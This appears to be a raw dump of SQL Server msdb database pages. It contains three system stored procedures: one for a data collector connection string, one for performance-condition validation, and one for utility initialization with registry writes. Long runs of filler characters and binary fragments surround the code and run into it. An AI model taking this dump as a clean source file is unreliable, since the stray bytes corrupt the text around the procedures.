!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\		z`'<(Jn0$S
	 k8CREATE PROCEDURE [dbo].[sp_syscollector_get_warehouse_connection_string]
    @connection_string              nvarchar(512) = NULL OUTPUT
AS
BEGIN
    DECLARE @instance_name sysname
    DECLARE @database_name sysname
    DECLARE @user_name sysname
    DECLARE @password sysname
    DECLARE @product_version  nvarchar(128) -- SERVERPROPERTY('ProductVersion') returns value of type nvarchar(128)
    DECLARE @provider_name  nvarchar(128)

    SELECT @instance_name = CONVERT(sysname,parameter_value)
    FROM [msdb].[dbo].[syscollector_config_store_internal]
    WHERE parameter_name = N'MDWInstance'

    IF (@instance_name IS NULL)
    BEGIN
        RAISERROR(14686, -1, -1)
        RETURN (1)
    END
    
    -- '"' is the delimiter for the sql client connection string
    SET @instance_name = QUOTENAME(@instance_name, '"')

    SELECT @database_name = CONVERT(sysname,parameter_value)
    FROM [msdb].[dbo].[syscollector_config_store_internal]
    WHERE parameter_name = N'MDWDatabase'

    IF (@database_name IS NULL)
    BEGIN
        RAISERROR(14686, -1, -1)
        RETURN (1)
    END

    SET @database_name = QUOTENAME(@database_name, '"')
    
    SET @product_version = CONVERT(nvarchar(128), SERVERPROPERTY('ProductVersion'))
	
    -- Get Product Major version from string format 'major.minor.build' 
    SET @provider_name = 'SQLNCLI' + SUBSTRING(@product_version, 0, CHARINDEX('.', @product_version))

    SET @connection_string = N'Data Source=' + @instance_name + N';Application Name="Data Collector - MDW";Initial Catalog=' + @database_name
    SET @connection_string = @connection_string + N';Use Encryption for Data=true;Trust Server Certificate=true;Provider=' + @provider_name 
    SET @connection_string = @connection_string + N';Integrated Security=SSPI;Connect Timeout=60;';

    RETURN (0)
END
0X_	 /8(suser_sname())!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<6)M˖a0Jb 
8CREATE PROCEDURE sp_verify_performance_condition
  @performance_condition NVARCHAR(512)
AS
BEGIN
  DECLARE @delimiter_count INT
  DECLARE @temp_str        NVARCHAR(512)
  DECLARE @object_name     sysname
  DECLARE @counter_name    sysname
  DECLARE @instance_name   sysname
  DECLARE @pos             INT

  SET NOCOUNT ON
  
  -- The performance condition must have the format 'object|counter|instance|comparator|value'
  -- NOTE: 'instance' may be empty.
  IF (PATINDEX(N'%_|%_|%|[><=]|[0-9]%', @performance_condition) = 0)
  BEGIN
    RAISERROR(14507, 16, 1)
    RETURN(1) -- Failure
  END

  -- Parse the performance_condition
  SELECT @delimiter_count = 0
  
  --Ex: "SqlServer:General Statistics|User Connections||>|5" => "General Statistics|User Connections||>|5"
  SELECT @temp_str = SUBSTRING(@performance_condition, 
				PATINDEX('%:%', @performance_condition)+1, 
				DATALENGTH(@performance_condition) - (PATINDEX('%:%', @performance_condition)+1) )
  SELECT @pos = CHARINDEX(N'|', @temp_str)
  WHILE (@pos <> 0)
  BEGIN
    SELECT @delimiter_count = @delimiter_count + 1
    IF (@delimiter_count = 1) SELECT @object_name = SUBSTRING(@temp_str, 1, @pos - 1)
    IF (@delimiter_count = 2) SELECT @counter_name = SUBSTRING(@temp_str, 1, @pos - 1)
    IF (@delimiter_count = 3) SELECT @instance_name = SUBSTRING(@temp_str, 1, @pos - 1)
    SELECT @temp_str = SUBSTRING(@temp_str, @pos + 1, (DATALENGTH(@temp_str) / 2) - @pos)
    SELECT @pos = CHARINDEX(N'|', @temp_str)
  END
  IF (@delimiter_count <> 4)
  BEGIN
    RAISERROR(14507, 16, 1)
    RETURN(1) -- Failure
  END

  -- Check the object_name
  IF (NOT EXISTS (SELECT object_name
                  FROM dbo.sysalerts_performance_counters_view
                  WHERE (object_name = @object_name)))
  BEGIN
    RAISERROR(14262, 16, 1, 'object_name', @object_name)
    RETURN(1) -- Failure
  END

  -- Check the counter_name
  IF (NOT EXISTS (SELECT counter_name
                  FROM dbo.sysalerts_performance_counters_view
                  WHERE (object_name = @object_name)
                    AND (counter_name = @counter_name)))
  BEGIN
    RAISERROR(14262, 16, 1, 'counter_name', @counter_name)
    RETURN(1) -- Failure
  END

  -- Check the instance_name
  IF (@instance_name IS NOT NULL)
  BEGIN
    IF (NOT EXISTS (SELECT instance_name
                    FROM dbo.sysalerts_performance_counters_view
                    WHERE (object_name = @object_name)
                      AND (counter_name = @counter_name)
                      AND (instance_name = @instance_name)))
    BEGIN
      RAISERROR(14262, 16, 1, 'instance_name', @instance_name)
      RETURN(1) -- Failure
    END
  END

  RETURN(0) -- Success
END
0P %8((2))0nV %
8

CREATE PROCEDURE [dbo].[sp_sysutility_ucp_initialize] 
   @utility_name sysname,
   @mdw_database_name sysname,
   @description nvarchar(1024) = N''
WITH EXECUTE AS OWNER
AS
BEGIN
    DECLARE @retval INT
    DECLARE @null_column    sysname
    
    SET @null_column = NULL

    IF (@utility_name IS NULL OR @utility_name = N'')
        SET @null_column = '@utility_name'
    ELSE IF (@mdw_database_name IS NULL OR @mdw_database_name = N'')
        SET @null_column = '@mdw_database_name'



    IF @null_column IS NOT NULL
    BEGIN
        RAISERROR(14043, -1, -1, @null_column, 'sp_sysutility_ucp_initialize')
        RETURN(1)
    END


    -- Make sure that the Utility wasn't already created
    DECLARE @utilityName sysname
    set @utilityName = (SELECT CAST (current_value as sysname) FROM msdb.dbo.sysutility_ucp_configuration_internal where name = 'UtilityName')
    

    IF (@utilityName IS NOT NULL AND @utilityName != N'')
    BEGIN
        RAISERROR(37003, -1, -1)
        RETURN(1)
    END


    IF NOT EXISTS (SELECT * FROM master.dbo.sysdatabases WHERE name = @mdw_database_name)
    BEGIN
        RAISERROR(37002, -1, -1, @mdw_database_name)
        RETURN(1)
    END

    UPDATE dbo.sysutility_ucp_configuration_internal
       SET current_value = @utility_name WHERE name = N'UtilityName'

    UPDATE dbo.sysutility_ucp_configuration_internal
       SET current_value = @mdw_database_name WHERE name = N'MdwDatabaseName'

    UPDATE dbo.sysutility_ucp_configuration_internal
       SET current_value = SYSDATETIMEOFFSET() WHERE name = N'UtilityDateCreated'

    UPDATE dbo.sysutility_ucp_configuration_internal
       SET current_value = SUSER_SNAME() WHERE name = N'UtilityCreatedBy'

    IF (@description IS NOT NULL AND @description != N'')
    BEGIN
       UPDATE dbo.sysutility_ucp_configuration_internal
          SET current_value = @description WHERE name = N'UtilityDescription'
    END

    DECLARE @utility_version SYSNAME
    set @utility_version = (SELECT CAST(current_value AS SYSNAME) FROM
                              [msdb].[dbo].[sysutility_ucp_configuration_internal]
                              WHERE name = N'UtilityVersion')

    ---- Add the UtilityVersion, UcpName and the UcpFriendlyName registry key values.
    EXEC master.dbo.xp_instance_regwrite N'HKEY_LOCAL_MACHINE',
                                         N'SOFTWARE\Microsoft\MSSQLServer\MSSQLServer\Utility',
                                         N'UtilityVersion',
                                         N'REG_SZ',
                                         @utility_version

    EXEC master.dbo.xp_instance_regwrite N'HKEY_LOCAL_MACHINE',
                                         N'SOFTWARE\Microsoft\MSSQLServer\MSSQLServer\Utility',
                                         N'UcpName',
                                         N'REG_SZ',
                                         @@SERVERNAME

    EXEC master.dbo.xp_instance_regwrite N'HKEY_LOCAL_MACHINE',
                                         N'SOFTWARE\Microsoft\MSSQLServer\MSSQLServer\Utility',
                                         N'UcpFriendlyName',
                                         N'REG_SZ',
                                         @utility_name

END
0DL %8((0))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!